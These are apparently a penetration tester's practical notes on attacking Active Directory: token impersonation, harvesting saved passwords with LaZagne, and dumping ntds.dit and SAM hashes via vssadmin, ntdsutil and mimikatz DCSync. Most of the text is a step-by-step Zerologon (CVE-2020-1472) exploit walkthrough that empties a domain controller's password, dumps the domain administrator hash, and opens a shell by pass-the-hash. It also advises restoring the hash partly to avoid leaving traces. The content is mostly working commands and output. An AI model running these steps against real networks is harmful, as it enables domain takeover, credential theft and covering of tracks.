Active Directory Pentesting: Shadow Copies and CVE-2020-1472

Practical notes on shadow copies, credential extraction, and the Zerologon vulnerability.

References

https://0range-x.github.io/2021/11/22/CVE-2020-1472

https://cloud.tencent.com/developer/article/1727748

https://blog.csdn.net/Captain_RB/article/details/120643838

1. Token Theft

I. What Tokens Do

  1. A token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the system until it is restarted.

  2. The defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator’s token.

II. Types of Tokens

Access Token: a system object representing the subject of an access-control operation.

Session Token: the unique identity identifier in an interactive session.

Security Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.

Windows AccessToken has two types:

Delegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.

Impersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.

Note: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.

At first, I didn’t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.

The privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user’s password, our only option is to steal a token and step down into the administrator user’s context. That gives us the administrator user’s shell, from which we can start certain services as that user (some services can only be started by the administrator user).

The important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.

You can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.

I haven’t managed to download and find the program online yet, so I’ll list the commands first. Other tools can replace it as well.

Method 1: incognito.exe

Common commands:

List tokens: incognito.exe list_tokens -u

Because we do not have system privileges here, the listed tokens are very limited. Let’s switch to system privileges and take another look.

Steal a token: incognito.exe execute -c "SUN\administrator" cmd.exe

incognito.exe execute [options] <token> <command>



Method 2

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

Its principles and features are similar to incognito, and it can actually elevate or lower privileges.

List tokens: Invoke-TokenManipulation -Enumerate

Elevate to system: Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

Copy a process token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

Copy a thread token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500



Method 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Open a command prompt with SYSTEM privileges to simulate top-down access
PsExec.exe -s -i cmd.exe

# View the current token
token::whoami
# Elevate privileges
token::elevate /domainadmin 	# Elevate to domain administrator
token::elevate /admin 			# Elevate to local administrator
token::elevate 					# Elevate to SYSTEM by default
# Restore the token
token::revert

Restore the token
privilege::debug
token::elevate

2. LaZagne.exe

This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.

Types of passwords it can retrieve:

  • Passwords saved by browsers
  • Saved WiFi passwords
  • Windows credentials
  • Email clients
  • Development tool configurations
1
2
3
lazagne.exe all        # Retrieve all passwords
lazagne.exe browsers   # Retrieve browser passwords only
lazagne.exe wifi      # Retrieve Wi-Fi passwords only

3. Shadow Copies (Retrieving All Hashes from a Domain Controller)

So what exactly is ntds.dit?

Ntds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at %SystemRoot%\ntds\ntds.dit on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.

In a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.

plain ntds.dit file location: C:\Windows\NTDS\NTDS.dit system file location:C:\Windows\System32\config\SYSTEM sam file location:C:\Windows\System32\config\SAM

There are several ways to export this file.

mimikatz-dcsync

Prerequisite: high privileges

Mimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.

DCSync is a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.

What DCSync really does:

  1. Uses the DRS replication protocol
  2. Requests the target data directly
  3. Does not copy the NTDS.dit file
1
2
3
4
5
6
mimikatz.exe lsadump::dcsync /domain:test.local /all /csv  		// Use DCSync to retrieve hashes for all users in the test domain
mimikatz lsadump::dcsync /domain:test.local /user:admin		// Retrieve details for a single user
mimikatz lsadump::lsa /inject

lsadump::sam   # SAM of the current system
lsadump::sam /system:system.hiv /sam:sam.hiv  # Specify files

vssadmin Shadow Copies

vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.

Supported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
vssadmin create shadow /for=C:							// Create a shadow copy of drive C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit		// Copy ntds.dit from the created shadow copy to drive C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv	   // Copy sam.hiv from the created shadow copy to drive C:
system.hiv is also required
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
vssadmin delete shadows /for=c: /quiet

Decrypt ntds.dit
python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
Decrypt SAM
python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
If an error occurs, you will probably need to run
pip install cryptography==41.0.2

Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path.

  • Mimikatz primarily retrieves credentials for logged-on users
  • SAM retrieves hashes for local accounts
  • NTDS.dit retrieves hashes for the entire domain

ntdsutil.exe

Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.

1
ntdsutil snapshot "activate instance ntds" create quit quit   // First create a snapshot containing all Windows files; Windows locking does not affect copying from it

1
2
ntdsutil snapshot "mount {ID}" quit quit	  		// Mount the snapshot just created
>ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

1
2
3
copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv

//Copy the three files from the snapshot to the C drive.

//Delete the snapshot we just created.

1
ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" "delete {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer’s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.

Ntdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to “install from media,” so the server being promoted does not need to replicate domain data over the network from another DC.

When an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.

Run the following commands on the domain controller:

1
2
3
4
5
6
ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		// Generate files
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q			// Short form

Use SYSTEM directly to decrypt it
secretsdump.py -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Exploiting ZeroLogon (CVE-2020-1472)

Affected system versions: all versions after Win2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

Requirements for exploitation:

1
An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain.

Note: A domain controller’s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller’s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.

Step 1: Verify That the Vulnerability Exists

How to obtain the account

Method 1: Mimikatz

Download a recent version that supports exploiting ZeroLogon: https://github.com/gentilkiwi/mimikatz

1
mimikatz.exe "lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$" exit

Method 2: Tool from https://github.com/SecuraBV/CVE-2020-1472

1
python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111

Step 2: Empty the Domain Controller HASH

Note: A domain controller’s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller’s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.

Method 1: Mimikatz

1
mimikatz.exe "lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit" exit

Method 2: Tool from https://github.com/risksense/zerologon

1
python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110

Method 3: Tool from https://github.com/dirkjanm/CVE-2020-1472

1
python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110

Step 3: Retrieve the Domain Administrator HASH

Method 1: Mimikatz

1
lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:"" /authntlm

The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.

Method 2: Impacket

The Impacket toolkit is available at https://github.com/SecureAuthCorp/impacket. Use its secretsdump.py tool to retrieve the domain administrator HASH:

1
2
3
4
5
6
# 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/[email protected]
OR
python3 secretsdump.py MAIN/[email protected] -just-dc -no-pass

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'secura.yzx/[email protected]' -just-dc -no-pass

The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value 31d6cfe0d16ae931b73c59d7e0c089c0.

For reference, the Administrator hash is 2b2ddd54e1f78fab85e7c662f672f30e.

Step 4: Restore the Domain Controller HASH

(You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)

When Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.

The recommended approach is to restore the original HASH. First, retrieve the domain controller’s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# PTH getshell
python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/[email protected]

# Retrieve registry dump files; by default, they are stored in C:\ on the target host
# A Chinese-language target system may report a decoding error; this does not affect operation
# /y: force overwrite of existing files, preventing a same-named file in C:\ on the target from causing an overwrite prompt that can stall a semi-interactive session
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y

# Download the dump files locally
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive

# Delete the dump files from the target host
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# Export hashes from the registry dumps
python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82

The NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.

Next, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:

Method 1: Tool from https://github.com/risksense/zerologon

This project explains the process very clearly. Just follow its steps.

Restore using the NT HASH:

1
python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93

Method 2: Tool from https://github.com/dirkjanm/CVE-2020-1472

Restore using the key (HEX):

1
python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

Method 3: PowerShell

First, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:

1
2
3
python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/[email protected]

C:\>powershell -c Reset-ComputerMachinePassword

Step 5: Verify That the Domain Controller HASH Was Restored

1
python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/[email protected]